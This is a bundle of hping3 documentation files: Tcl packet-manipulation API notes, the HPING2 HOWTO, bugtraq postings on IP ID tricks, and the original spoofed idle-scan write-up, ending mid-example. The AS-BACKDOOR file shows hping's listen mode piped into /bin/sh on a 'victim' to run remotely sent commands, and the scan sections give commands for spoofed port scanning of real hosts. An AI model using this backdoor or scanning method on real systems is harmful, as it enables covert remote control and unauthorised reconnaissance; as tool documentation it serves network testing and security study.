ip(ihl=5,ver=4,tos=c0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=e500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=17,cksum=40c9,saddr=192.168.1.6,daddr=192.168.1.7)+udp(sport=33169,dport=10,len=10,cksum=94d6)+data(str=f\0a) Now 'packet' is set to an ICMP error obtained using netcat to send an UDP packet to a non-bound port. We can ask for the checksum of the first ip layer: hping3.0.0-alpha> hping getfield ip cksum $packet e500 If we want the second, we add a 'skip' argument of 1: hping3.0.0-alpha> hping getfield ip cksum 1 $packet 40c9 A 'skip' value of 0 is valid, and is equivalent to the form without the skip argument. 'hping hasfield' is similar to getfield, but just returns 1 if the specified layer/field exists, otherwise 0 is returned. 'hping setfield' is used to set a given field in a packet, it returns a new packet with the given field set to the specified value: hping3.0.0-alpha> hping setfield udp sport 2000 $packet ip(ihl=5,ver=4,tos=c0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=e500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=17,cksum=40c9,saddr=192.168.1.6,daddr=192.168.1.7)+udp(sport=2000,dport=10,len=10,cksum=94d6)+data(str=fa) So in order to modify a packet hold in a Tcl variable it is possible to write: set packet [hping setfield udp sport 2000 $packet] 'hping setfield' can't add fields, so an attempt to set a non-existent layer/field returns an error. Note that get/has/set field commands are not enough to deal with packets without to use 'regexp', 'regxub', 'split', and so, but other hping commands to directly add/remove layers, add fields, and so on, will be added before the hping3 stable release. Btw, note that field name and values are guaranteed to don't contain a '+', ',', ')', and other similar characters that are used in the syntax to describe packets, so to split packets in layers using + as separator, or to split a layer in fields using ',' as separator is prefrectly legal. Some example: hping3.0.0-alpha> foreach layer [split $packet +] {puts $layer} ip(ihl=5,ver=4,tos=c0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=e500,saddr=192.168.1.7,daddr=192.168.1.6) icmp(type=3,code=3,unused=0) ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=17,cksum=40c9,saddr=192.168.1.6,daddr=192.168.1.7) udp(sport=33169,dport=10,len=10,cksum=94d6) data(str=fa) A more complex example: a Tcl procedure that split a packet in layers and fields. ################################### split.htcl ################################# set packet "ip(ihl=5,ver=4,tos=c0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=e500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=17,cksum=40c9,saddr=192.168.1.6,daddr=192.168.1.7)+udp(sport=33169,dport=10,len=10,cksum=94d6)+data(str=f\0a)" foreach layer [split $packet +] { set t [split $layer ()] set name [lindex $t 0] set fields [lindex $t 1] puts $name foreach field [split $fields ,] { puts " $field" } puts {} } ################################################################################ This script produce the following output: ip ihl=5 ver=4 tos=c0 totlen=58 id=62912 fragoff=0 mf=0 df=0 rf=0 ttl=64 proto=1 cksum=e500 saddr=192.168.1.7 daddr=192.168.1.6 icmp type=3 code=3 unused=0 ip ihl=5 ver=4 tos=00 totlen=30 id=60976 fragoff=0 mf=0 df=1 rf=0 ttl=64 proto=17 cksum=40c9 saddr=192.168.1.6 daddr=192.168.1.7 udp sport=33169 dport=10 len=10 cksum=94d6 data str=fa You can create your own procedure to deal with packets, but eventually the interface that seems the more useful will be included in the hping standard library. Two functions to convert hping APD packets to Tcl lists, and the reverse are already included in the hping standard library. Check for 'apd2list' and 'list2apd'. That's how they works: # Get a packet... hping3.0.0-alpha> set p [lindex [hping recv eth0] 0] ip(ihl=5,ver=4,tos=00,totlen=52,id=28845,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=6,cksum=bb46,saddr=192.168.1.5,daddr=192.168.1.6)+tcp(sport=3733,dport=4662,seq=2054230415,ack=1135045853,x2=0,off=8,flags=a,win=63700,cksum=a509,urp=0)+tcp.nop()+tcp.nop()+tcp.timestamp(val=6860018,ecr=13978115) # Convert it to a Tcl list hping3.0.0-alpha> apd2list $p {ip {ihl 5} {ver 4} {tos 00} {totlen 52} {id 28845} {fragoff 0} {mf 0} {df 1} {rf 0} {ttl 64} {proto 6} {cksum bb46} {saddr 192.168.1.5} {daddr 192.168.1.6}} {tcp {sport 3733} {dport 4662} {seq 2054230415} {ack 1135045853} {x2 0} {off 8} {flags a} {win 63700} {cksum a509} {urp 0}} tcp.nop tcp.nop {tcp.timestamp {val 6860018} {ecr 13978115}} With the Tcl list representation we can do what we like, than go back to the more human friedlty representation: hping3.0.0-alpha> list2apd $list ip(ihl=5,ver=4,tos=00,totlen=52,id=28845,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=6,cksum=bb46,saddr=192.168.1.5,daddr=192.168.1.6)+tcp(sport=3733,dport=4662,seq=2054230415,ack=1135045853,x2=0,off=8,flags=a,win=63700,cksum=a509,urp=0)+tcp.nop()+tcp.nop()+tcp.timestamp(val=6860018,ecr=13978115) Simple, isn't it? Btw, note that for most scripts you don't need to perform this kind of stuff, the hping native representation try to balance between the human and computer vision of packets. Finally, 'hping delfield' is able to remove the given layer/field from the packet. This is very useful in order to resend a packet got with 'hping recv': before to resend it we often need to remove the checksum fields from ip/udp/tcp/icmp layers so hping will recompute it again. -- ############################################### hping recvraw ifname ?timeout? ?maxpackets? ############################################### 'hping recvraw' works exactly like 'hping recv', but packets are returned as raw binary data. This is useful for low-level access to packets using the 'binary' Tcl command. This will be more useful once the commands 'hping build' and 'hping describe' commands will be added (for APD -> binary, binary -> APD conversion). Example: hping3.0.0-alpha> string length [hping recvraw eth0] 1540 -- ###################### hping sendraw data ###################### Send binary data: that's like to call write(2) against a raw socket. It can be used in order to build special packets that can't be specified using the usual string representation (APD, from Ars Packet Description), but will be more useful once all the hping output operation will be able to handle layer-2. For now hping3's business is only at layer-3. hping3-3.a2.ds2/docs/AS-BACKDOOR000066400000000000000000000022211021454026700157340ustar00rootroot00000000000000hping can be used as a backdoor. Just try the -9 (--listen) option and put in pipe with /bin/sh: Put hping in listen mode in the victim host. victim# hping -I eth0 -9 mysign | /bin/sh Every packet that contain "mysign" will be processed by hping, all the bytes that follows "mysign" in the packet will be dumped to the standard output, so for example I'll able to exec commands using all types of protocols. Just for example I can use the smtpd to exec 'ls' in the victim. evil$ telnet victim 25 Trying 192.168.1.1... Connected to nano (192.168.1.1). Escape character is '^]'. 220 nano.marmoc.net ESMTP Sendmail mysignls; on the victim you will see: victim# hping -I eth0 -9 mysign | /bin/sh hping2 listen mode bin cdrom etc home local-home mnt root tmp var boot dev export lib lost+found proc sbin usr : command not found As you can see I used 'ls;' since otherwise the shell will receive just ls^M. The ";" force the command execution (at least with bash and zsh, check your shell for more information). This works with all kind of valid not-filtered IP packets, the higher level protocl does not matter. antirez hping3-3.a2.ds2/docs/HPING2-HOWTO.txt000066400000000000000000000464731021454026700167330ustar00rootroot00000000000000N.B.: this HOWTO is not completed and in some points very silly. I leave this here only because maybe it's better that nothing. HPING2 HOWTO Changes Log ----------- Aug 7 1999 vi HPING2-HOWTO.txt Aug 8 1999 __0000, __0001, __0002, __0003 Aug 10 1999 __0004 Index ----- [search __XXXX in order to jump to point you want] __0000: Copyright notice __0001: What is hping? __0002: What i need to know about TCP/IP in order to use hping? __0003: First step with hping __0004: IP id and how to scan TCP ports using spoofing. __0005: How to test firewall rules. (TODO) __0006: How to trasfer files accross firewall. (TODO) __000A: hping usage example (TODO) __0000: Copyright notice, License, and all that stuff Copyright (C) Salvatore Sanfilippo, 1999. Permission is granted to make and distribute copies of this manual provided the copyright notice and this permission notice are preserved on all copies. Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the derived work is distributed under the terms of a permission notice identical to this one. Translations fall under the catagory of ``modified versions.'' Warranty: None. Recommendations: Commercial redistribution is allowed and encouraged; however, it is strongly recommended that the redistributor contact the author before the redistribution, in the interest of keeping things up-to-date (you could send me a copy of the thing you're making while you're at it). Translators are also advised to contact the author before translating. The printed version looks nicer. Recycle. __0001: What is hping? Hping is a software to do TCP/IP stack auditing, to uncover firewall policy, to scan TCP port in a lot of different modes, to transfer files accross a firewall and many other stuff. Using hping you are able to do even a lot of not security-regarding stuff. For example you can test networks performance, check if a host is up, check if TOS is handled et cetera. __0002: What i need to know about TCP/IP in order to use hping? If you know TCP/IP you will find hping very usefull, otherwise you can use hping only to do well known tests. See __000A for some example. __0003: First step with hping The simplest usage of hping is the following: #hping host This command sends a TCP null-flags packet to port 0 of target host every second and show the host replies. For example: # hping www.debian.org ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes 40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms 40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms 40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms [Ctrl+C] --- www.debian.org hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss As you can see host replies with a TCP packet with RST and ACK flags set. So you are able to perform a 'TCP ping', usefull when ICMPs are filtered. By default port 0 are used because it's very strange that is in LISTEN state. If we send a TCP null-flags to a port in LISTEN state a lot of TCP/IP stack will not send any reply. So we are able to know if a port is in LISTEN state. For example: # hping www.debian.org -p 80 ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes [Ctrl+C] --- www.debian.org hping statistic --- 5 packets trasmitted, 0 packets received, 100% packet loss Since port 80 of www.debian.org is in LISTEN mode we got no response. But What's happen if we try to hping a firewalled port? This depends on firewall policy/implementation. Usually we get an ICMP or nothing. For example: # hping www.yahoo.com -p 79 ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) --- www.yahoo.com hping statistic --- 14 packets tramitted, 0 packets received, 100% packet loss yahoo firewall doesn't allow connection to port 79, so reply with an ICMP Packet filtered (ICMP unreachable code 13). However there are a lot of firewall that simply drop the packet. For example: # hping www.microsoft.com -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 4 packets tramitted, 0 packets received, 100% packet loss No reply from microsoft. Is the port firewalled or in LISTEN mode? To uncover this is very simply. Just we try to set ACK flag instead to send a TCP null-flag packet. If the host respond maybe this port is in LISTEN mode (but it's possible that there is a rules that deny null-flag TCP packet but allow ACK). # hping www.microsoft.com -A -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss No response again, So this port seems to be filtered. Anyway it's possible that microsoft is using an 'intelligent' firewall that know that in order to connect first I must send a SYN. # hping www.microsoft.com -S -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss Ok.. seems that port 79 of microsoft is really filtered. Just for clearness we send some ACK to port 80 of www.debian.org: # hping www.debian.org -p 80 -A ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes 40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms 40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms 40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms --- www.debian.org hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss We can see replies even if port 80 is in LISTEN mode because a port in LISTEN mode may not replay only to NULL, FIN, Xmas, Ymas flags TCP packet. ACK and RST are two important TCP flags that allow to do ACL tests and to guess ip->id without to produce any log (usually). __0004: IP id and how to scan TCP ports using spoofing. Every IP packet is identified by a 16 bit id. Thanks to this id IP stacks are able to handle fragmentation. A lot of OSs handle ip->id travially: just increment by 1 this id for each packet sent. Using this id you are able at least to estimate hosts traffic and to scan with spoofed packets. OpenBSD >= 2.5 and many others implement a random not repetitive id so you aren't able to joke with ip->id. Win* ip->id has different byte ordering, so you must specify --winid or -W option if you are using hping2 against Win*. N.B.: You are able to scan spoofed hosts with safe/random ip->id because in order to spoof your packets you need a third part host with incremental id rule but you don't need that target of your scanning has an incremental id. How to estimate host traffic using ip->id? It's really simple: # hping www.yahoo.com -p 80 -A ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms 40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms 40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms 40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms 40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms --- www.yahoo.com hping statistic --- 8 packets tramitted, 8 packets received, 0% packet loss round-trip min/avg/max = 329.4/377.4/390.0 ms As you can se id field increase. Packet with sequence 0 has id=29607, sequence 1 has id=31549, so www.yahoo.com host sent 31549-29607 = 1942 packets in circa one second. Using -r|--relid option hping output id field as difference between last and current received packet id. # hping www.yahoo.com -P 80 -A -r ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms 40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms 40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms 40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms --- www.yahoo.com hping statistic --- 10 packets tramitted, 10 packets received, 0% packet loss round-trip min/avg/max = 320.0/336.7/360.0 ms Obviously checking the id every 1/2 second instead of 1 second, increment will be half. # hping www.yahoo.com -P 80 -A -r -i u 500000 ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms 40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms 40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms 40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms --- www.yahoo.com hping statistic --- 9 packets tramitted, 9 packets received, 0% packet loss round-trip min/avg/max = 310.0/320.8/330.0 ms N.B. Warning, using ip->id you are able only to guess *the number of packets sent/time*. You can't always compare different hosts. ip->id refers to all host interfaces and for example if an host use NAT or redirect TCP connections to another host (for example a firewall used to hide a web server) ip->id increment may result fakely increased. hpinging windows box without using --winid option you will see as increments are 256 multiple because different id byteordering. This can be really usefull for OS fingerprinting: #hping win95 -r HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes 46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms 46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms 46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms 46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms --- win95 hping statistic --- 4 packets tramitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.5/0.5/0.6 ms Windows systems are "marked", so in order to discovery if an host is a Windows host you need to send just some packet. How to perform spoofed SYN scan using incremental id? The following is the original message to bugtraq about spoofed/indirect/idle scan method, bottom i'll try to explain details and how this is possible even with UDP with some restriction. ---- bugtraq posting about spoofed scanning ---- Hi, I have uncovered a new tcp port scan method. Instead all others it allows you to scan using spoofed packets, so scanned hosts can't see your real address. In order to perform this i use three well known tcp/ip implementation peculiarities of most OS: (1) * hosts reply SYN|ACK to SYN if tcp target port is open, reply RST|ACK if tcp target port is closed. (2) * You can know the number of packets that hosts are sending using id ip header field. See my previous posting 'about the ip header' in this ml. (3) * hosts reply RST to SYN|ACK, reply nothing to RST. The Players: host A - evil host, the attacker. host B - silent host. host C - victim host. A is your host. B is a particular host: It must not send any packets while you are scanning C. There are a lot of 'zero traffic' hosts in internet, especially in the night :) C is the victim, it must be vulnerable to SYN scan. I've called this scan method 'dumb host scan' in honour of host B characteristics. How it works: Host A monitors number of outgoing packets from B using id iphdr. You can do this simply using hping: #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms -cut- .. . As you can see, id increases are always 1. So this host have the characteristics that host B should to own. Now host A sends SYN to port X of C spoofing from B. (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) if port X of C is open, host C will send SYN|ACK to B (yes, host C don't know that the real sender is A). In this case host B replies to SYN|ACK with a RST. If we send to host C a few of SYN it will reply to B with a few of SYN|ACK, so B will reply to C a few of RST... so we'll see that host B is sending packets! . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms -cut- .. . The port is open! Instead, if port X of C is closed sending to C a few of SYN spoofed from B, it will reply with RST to B, and B will not reply (see 3). So we'll see that host B is not sending any packet: . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms -cut- .. . The port is closed. All this can appear complicated to perform, but using two sessions of hping on Linux virtual consoles or under X makes it more simple. First session listen host B: hping B -r Second session send spoofed SYN: hping C -a B -S Sorry if my english is not so clear. However this posting is not adequate to describe exaustively this scan method, so i'll write a paper on this topic, specially about how to implement this in a port scanner (i.e. nmap), and about players characteristics and OS used. happy new year, antirez ---- EOF ---- As you can see spoofed scanning is travial to perform, especially unsing hping2 you are able to specify micro seconds interval (-i uX) so you don't need that B host is a totally idle host. You may read id increment once every second sending 10 SYN every second. If you send an adequate SYNnumber/second expected id increment is so big that you are able to see if port is open or closed even if B host is sending other packets. Example: # hping awake.host.org -p 80 -A -r ppp0 default routing interface selected (according to /proc) HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes 40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms 40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms 40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms 40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms 40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms 40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms 40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms 40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms 40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms 40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms ... as you can see this host isn't in idle, it sends ~ 6 packets every second. Now scan www.yahoo.com's port 80 to see if it's open: root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes [wait some second and press CTRL+C] --- www.yahoo.com hping statistic --- 130 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms Looking output of 'hping awake.host.org -p 80 -A -r' it's simple to understand that www.yahoo.com's port 80 is open: 40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms 40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms 40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms 40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms 40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms 40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms note that 16+75+12+27+11+1-6 = 136 and that we sent 130 packets. So it's very realistic that increments are produced by our packtes. Tips: Using an idle host to perform spoofed scanning it's usefull to output only replies that show an increment != 1. Try `hping host -r | grep -v "id=+1"' hping3-3.a2.ds2/docs/HPING2-IS-OPEN000066400000000000000000000013011021454026700162440ustar00rootroot00000000000000I want to spend two words about hping2 developing model. Hping2 is totally open to new contribution and ideas, if you have even the littlest idea in order to make hping better or you make some patch send me an email. All the patches, if they don't break the old code and are not totally useless, will be included. I know of a lot of projects that are GPLed but in some way "close" since every new patch is considered bloat or the only possible code is the primary authors code: THIS IS NOT THE CASE! Also every the littlest doc contribution will be added to hping2, you can just build a plain-text file that exposes how to do some task with hping, it will be included under the 'docs' directory. antirez hping3-3.a2.ds2/docs/HPING3.txt000066400000000000000000000000341021454026700160150ustar00rootroot00000000000000Please check wiki.hping.org hping3-3.a2.ds2/docs/MORE-FUN-WITH-IPID000066400000000000000000000025241021454026700167410ustar00rootroot00000000000000Posted to bugtraq mailing list (20 Nov 1999): --- Hi, some little new ideas about IP ID issue: The first is about linux firewalling: since it increase IP ID global counter even if an outgoing packet will be filtered we are able, for example, to scan UDP ports even if ICMP type 3 output is DENY, and in general it is possibleto know when TCP/IP stack reply a packet even if the reply is dropped. I think (but not tested) that this is true for almost all firewalls. The second issue concern the ability to uncover firewall rules. For example it is travial to know if host A filter packets from the IP X.Y.Z.W monitoring IP ID incresing of host A or host with X.Y.Z.W address (this changes if we are interested to know input or output rules) and sending packets that suppose some reply. Also this is related with the ability to scan the ports of hosts that drop all packets with a source different than host.trusted.com. There are others stuff like this but they are only different faces of the same concepts. Some people thinks that this kind of attacks isn't a "real world" attacks, I'm strongly interested to know what's bugtraq readers opinion (IMO this kind of attacks are feasible and usefull for an attacker. For exaple the ability to scan the ports with only spoofed packets and the ability to guess remote hosts traffic are a lot real). ciao, antirez hping3-3.a2.ds2/docs/SPOOFED_SCAN.txt000066400000000000000000000106011021454026700167710ustar00rootroot00000000000000The following is the original posting to bugtraq about spoofed/indirect/idle scan method. See the HPING2-HOWTO for more informations. antirez --- Hi, I have uncovered a new tcp port scan method. Instead all others it allows you to scan using spoofed packets, so scanned hosts can't see your real address. In order to perform this i use three well known tcp/ip implementation peculiarities of most OS: (1) * hosts reply SYN|ACK to SYN if tcp target port is open, reply RST|ACK if tcp target port is closed. (2) * You can know the number of packets that hosts are sending using id ip header field. See my previous posting 'about the ip header' in this ml. (3) * hosts reply RST to SYN|ACK, reply nothing to RST. The Players: host A - evil host, the attacker. host B - silent host. host C - victim host. A is your host. B is a particular host: It must not send any packets while you are scanning C. There are a lot of 'zero traffic' hosts in internet, especially in the night :) C is the victim, it must be vulnerable to SYN scan. I've called this scan method 'dumb host scan' in honour of host B characteristics. How it works: Host A monitors number of outgoing packets from B using id iphdr. You can do this simply using hping: #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms -cut- .. . As you can see, id increases are always 1. So this host have the characteristics that host B should to own. Now host A sends SYN to port X of C spoofing from B. (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) if port X of C is open, host C will send SYN|ACK to B (yes, host C don't know that the real sender is A). In this case host B replies to SYN|ACK with a RST. If we send to host C a few of SYN it will reply to B with a few of SYN|ACK, so B will reply to C a few of RST... so we'll see that host B is sending packets! . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms -cut- .. . The port is open! Instead, if port X of C is closed sending to C a few of SYN spoofed from B, it will reply with RST to B, and B will not reply (see 3). So we'll see that host B is not sending any packet: . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 